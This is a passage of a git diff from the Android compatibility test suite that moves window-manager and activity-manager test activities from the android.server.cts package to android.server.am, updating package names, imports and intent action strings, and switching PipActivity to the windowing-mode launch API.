+++ b/tests/framework/base/activitymanager/app/src/android/server/am/LaunchEnterPipActivity.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
import android.app.Activity;
import android.graphics.Rect;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchIntoPinnedStackPipActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/LaunchIntoPinnedStackPipActivity.java
similarity index 96%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchIntoPinnedStackPipActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/LaunchIntoPinnedStackPipActivity.java
index 86c4834..bb97261 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchIntoPinnedStackPipActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/LaunchIntoPinnedStackPipActivity.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
import android.app.Activity;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchPipOnPipActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/LaunchPipOnPipActivity.java
similarity index 96%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchPipOnPipActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/LaunchPipOnPipActivity.java
index d0b47b0..52263f2 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchPipOnPipActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/LaunchPipOnPipActivity.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
import android.app.Activity;
import android.content.pm.PackageManager;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchingActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/LaunchingActivity.java
similarity index 92%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchingActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/LaunchingActivity.java
index b312c97..814ed60 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchingActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/LaunchingActivity.java
@@ -14,11 +14,11 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
import android.app.Activity;
import android.content.Intent;
-import android.server.cts.tools.ActivityLauncher;
+import android.server.am.tools.ActivityLauncher;
/**
* Activity that launches another activities when new intent is received.
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LifecycleLogView.java b/tests/framework/base/activitymanager/app/src/android/server/am/LifecycleLogView.java
similarity index 97%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LifecycleLogView.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/LifecycleLogView.java
index 66e0cf2..e9cc897 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LifecycleLogView.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/LifecycleLogView.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
import android.content.Context;
import android.content.res.Configuration;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LogConfigurationActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/LogConfigurationActivity.java
similarity index 97%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LogConfigurationActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/LogConfigurationActivity.java
index 61eb78c..5ed370e 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LogConfigurationActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/LogConfigurationActivity.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
import android.app.Activity;
import android.content.res.Configuration;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/MoveTaskToBackActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/MoveTaskToBackActivity.java
similarity index 97%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/MoveTaskToBackActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/MoveTaskToBackActivity.java
index 6c47fb7..6c37115 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/MoveTaskToBackActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/MoveTaskToBackActivity.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
import android.content.Intent;
import android.os.Bundle;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/NightModeActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/NightModeActivity.java
similarity index 97%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/NightModeActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/NightModeActivity.java
index e33141b..7c73900 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/NightModeActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/NightModeActivity.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
import android.app.UiModeManager;
import android.content.Context;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/NoHistoryActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/NoHistoryActivity.java
similarity index 96%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/NoHistoryActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/NoHistoryActivity.java
index 6a84602..3080fac 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/NoHistoryActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/NoHistoryActivity.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
/**
* An activity that has the noHistory flag set.
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/NoRelaunchActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/NoRelaunchActivity.java
similarity index 96%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/NoRelaunchActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/NoRelaunchActivity.java
index 9cc3b9d..b173f8d 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/NoRelaunchActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/NoRelaunchActivity.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.server.cts;
+package android.server.am;
public class NoRelaunchActivity extends AbstractLifecycleLogActivity {
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/NonResizeableActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/NonResizeableActivity.java
similarity index 96%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/NonResizeableActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/NonResizeableActivity.java
index b871a8d..e3468e3 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/NonResizeableActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/NonResizeableActivity.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.server.cts;
+package android.server.am;
public class NonResizeableActivity extends AbstractLifecycleLogActivity {
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PipActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/PipActivity.java
similarity index 97%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PipActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/PipActivity.java
index f968970..f5397e6 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PipActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/PipActivity.java
@@ -14,8 +14,9 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
+import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
@@ -41,19 +42,19 @@
private static final String TAG = "PipActivity";
// Intent action that this activity dynamically registers to enter picture-in-picture
- private static final String ACTION_ENTER_PIP = "android.server.cts.PipActivity.enter_pip";
+ private static final String ACTION_ENTER_PIP = "android.server.am.PipActivity.enter_pip";
// Intent action that this activity dynamically registers to move itself to the back
- private static final String ACTION_MOVE_TO_BACK = "android.server.cts.PipActivity.move_to_back";
+ private static final String ACTION_MOVE_TO_BACK = "android.server.am.PipActivity.move_to_back";
// Intent action that this activity dynamically registers to expand itself.
// If EXTRA_SET_ASPECT_RATIO_WITH_DELAY is set, it will also attempt to apply the aspect ratio
// after a short delay.
- private static final String ACTION_EXPAND_PIP = "android.server.cts.PipActivity.expand_pip";
+ private static final String ACTION_EXPAND_PIP = "android.server.am.PipActivity.expand_pip";
// Intent action that this activity dynamically registers to set requested orientation.
// Will apply the oriention to the value set in the EXTRA_FIXED_ORIENTATION extra.
private static final String ACTION_SET_REQUESTED_ORIENTATION =
- "android.server.cts.PipActivity.set_requested_orientation";
+ "android.server.am.PipActivity.set_requested_orientation";
// Intent action that will finish this activity
- private static final String ACTION_FINISH = "android.server.cts.PipActivity.finish";
+ private static final String ACTION_FINISH = "android.server.am.PipActivity.finish";
// Sets the fixed orientation (can be one of {@link ActivityInfo.ScreenOrientation}
private static final String EXTRA_FIXED_ORIENTATION = "fixed_orientation";
@@ -307,7 +308,7 @@
final ActivityOptions options = ActivityOptions.makeBasic();
options.setLaunchBounds(bounds);
- options.setLaunchStackId(4 /* ActivityManager.StackId.PINNED_STACK_ID */);
+ options.setLaunchWindowingMode(WINDOWING_MODE_PINNED);
caller.startActivity(intent, options.toBundle());
}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PipActivity2.java b/tests/framework/base/activitymanager/app/src/android/server/am/PipActivity2.java
similarity index 95%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PipActivity2.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/PipActivity2.java
index 53b4f75..c7c9858 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PipActivity2.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/PipActivity2.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
/**
* A secondary activity that has the same behavior as {@link PipActivity}.
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PipActivityWithSameAffinity.java b/tests/framework/base/activitymanager/app/src/android/server/am/PipActivityWithSameAffinity.java
similarity index 96%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PipActivityWithSameAffinity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/PipActivityWithSameAffinity.java
index e97dc0e..12ff39f 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PipActivityWithSameAffinity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/PipActivityWithSameAffinity.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
import android.app.Activity;
import android.app.PictureInPictureParams;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PipOnStopActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/PipOnStopActivity.java
similarity index 97%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PipOnStopActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/PipOnStopActivity.java
index 1abc696..264e14c 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PipOnStopActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/PipOnStopActivity.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
import android.app.Activity;
import android.content.Intent;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PortraitOrientationActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/PortraitOrientationActivity.java
similarity index 97%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PortraitOrientationActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/PortraitOrientationActivity.java
index 5fa1fc8..a63e3b3 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PortraitOrientationActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/PortraitOrientationActivity.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
import android.content.res.Configuration;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ResizeableActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/ResizeableActivity.java
similarity index 97%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ResizeableActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/ResizeableActivity.java
index aad874b..31aa9f2 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ResizeableActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/ResizeableActivity.java
@@ -13,7 +13,7 @@
* License for the specific language governing permissions and limitations under
* the License.
*/
-package android.server.cts;
+package android.server.am;
import android.content.res.Configuration;
import android.os.Bundle;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ResumeWhilePausingActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/ResumeWhilePausingActivity.java
similarity index 95%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ResumeWhilePausingActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/ResumeWhilePausingActivity.java
index 578d7e5..62fbb8b 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ResumeWhilePausingActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/ResumeWhilePausingActivity.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.server.cts;
+package android.server.am;
import android.app.Activity;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedActivity.java
similarity index 96%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedActivity.java
index 6e3348a..1fc7b74 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedActivity.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
import android.app.Activity;
import android.os.Bundle;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedAttrActivity.java
similarity index 96%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedAttrActivity.java
index c53c485..2814361 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedAttrActivity.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
public class ShowWhenLockedAttrActivity extends AbstractLifecycleLogActivity {
private static final String TAG = ShowWhenLockedAttrActivity.class.getSimpleName();
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrRemoveAttrActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedAttrRemoveAttrActivity.java
similarity index 96%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrRemoveAttrActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedAttrRemoveAttrActivity.java
index dbad34d..414d021 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrRemoveAttrActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedAttrRemoveAttrActivity.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
import android.os.Bundle;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrWithDialogActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedAttrWithDialogActivity.java
similarity index 96%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrWithDialogActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedAttrWithDialogActivity.java
index 136706a..4f9b214 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrWithDialogActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedAttrWithDialogActivity.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
import android.app.Activity;
import android.app.AlertDialog;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedDialogActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedDialogActivity.java
similarity index 96%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedDialogActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedDialogActivity.java
index 5b60139..56eb154 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedDialogActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedDialogActivity.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
import android.app.Activity;
import android.os.Bundle;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedTranslucentActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedTranslucentActivity.java
similarity index 96%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedTranslucentActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedTranslucentActivity.java
index 929c9f7..6422104 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedTranslucentActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedTranslucentActivity.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
import android.app.Activity;
import android.os.Bundle;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedWithDialogActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedWithDialogActivity.java
similarity index 97%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedWithDialogActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedWithDialogActivity.java
index 58d5ac7..3951532 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedWithDialogActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedWithDialogActivity.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
import android.app.Activity;
import android.app.AlertDialog;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SingleInstanceActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/SingleInstanceActivity.java
similarity index 95%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SingleInstanceActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/SingleInstanceActivity.java
index e0eaecf..2c8b40f 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SingleInstanceActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/SingleInstanceActivity.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
import android.app.Activity;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SingleTaskActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/SingleTaskActivity.java
similarity index 95%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SingleTaskActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/SingleTaskActivity.java
index 7ffde13..d95aa3f 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SingleTaskActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/SingleTaskActivity.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
import android.app.Activity;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SlowCreateActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/SlowCreateActivity.java
similarity index 96%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SlowCreateActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/SlowCreateActivity.java
index a757165..26992c1 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SlowCreateActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/SlowCreateActivity.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.server.cts;
+package android.server.am;
import android.app.Activity;
import android.os.Bundle;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SplashscreenActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/SplashscreenActivity.java
similarity index 97%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SplashscreenActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/SplashscreenActivity.java
index 22391bd..2d8fbae 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SplashscreenActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/SplashscreenActivity.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
import android.app.Activity;
import android.os.Bundle;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SwipeRefreshActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/SwipeRefreshActivity.java
similarity index 93%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SwipeRefreshActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/SwipeRefreshActivity.java
index 5f36abc..8e2b781 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SwipeRefreshActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/SwipeRefreshActivity.java
@@ -14,11 +14,11 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
import android.app.Activity;
import android.os.Bundle;
-import android.server.cts.SwipeRefreshLayout;
+import android.server.am.SwipeRefreshLayout;
/**
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SwipeRefreshLayout.java b/tests/framework/base/activitymanager/app/src/android/server/am/SwipeRefreshLayout.java
similarity index 97%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SwipeRefreshLayout.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/SwipeRefreshLayout.java
index a061d9e..2b3071c 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SwipeRefreshLayout.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/SwipeRefreshLayout.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
import android.content.Context;
import android.util.AttributeSet;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TestActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TestActivity.java
similarity index 97%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TestActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/TestActivity.java
index f9a86c6..a71ab34 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TestActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TestActivity.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.server.cts;
+package android.server.am;
import android.content.BroadcastReceiver;
import android.content.Context;
@@ -32,7 +32,7 @@
private static final String EXTRA_FIXED_ORIENTATION = "fixed_orientation";
// Finishes the activity
- private static final String ACTION_FINISH_SELF = "android.server.cts.TestActivity.finish_self";
+ private static final String ACTION_FINISH_SELF = "android.server.am.TestActivity.finish_self";
private BroadcastReceiver mReceiver = new BroadcastReceiver() {
@Override
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TestActivityWithSameAffinity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TestActivityWithSameAffinity.java
similarity index 98%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TestActivityWithSameAffinity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/TestActivityWithSameAffinity.java
index db75dee..d89d786 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TestActivityWithSameAffinity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TestActivityWithSameAffinity.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.server.cts;
+package android.server.am;
import android.app.PictureInPictureParams;
import android.content.BroadcastReceiver;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TopActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TopActivity.java
similarity index 97%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TopActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/TopActivity.java
index 6684999..7d69ef9 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TopActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TopActivity.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.server.cts;
+package android.server.am;
import android.os.Handler;
import android.os.Bundle;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TopLeftLayoutActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TopLeftLayoutActivity.java
similarity index 95%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TopLeftLayoutActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/TopLeftLayoutActivity.java
index 2305582..1302b22 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TopLeftLayoutActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TopLeftLayoutActivity.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.server.cts;
+package android.server.am;
import android.app.Activity;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TopRightLayoutActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TopRightLayoutActivity.java
similarity index 95%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TopRightLayoutActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/TopRightLayoutActivity.java
index 701d3db..bb13c01 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TopRightLayoutActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TopRightLayoutActivity.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.server.cts;
+package android.server.am;
import android.app.Activity;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TrampolineActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TrampolineActivity.java
similarity index 97%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TrampolineActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/TrampolineActivity.java
index b3f9444..7391b04 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TrampolineActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TrampolineActivity.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.server.cts;
+package android.server.am;
import android.os.Bundle;
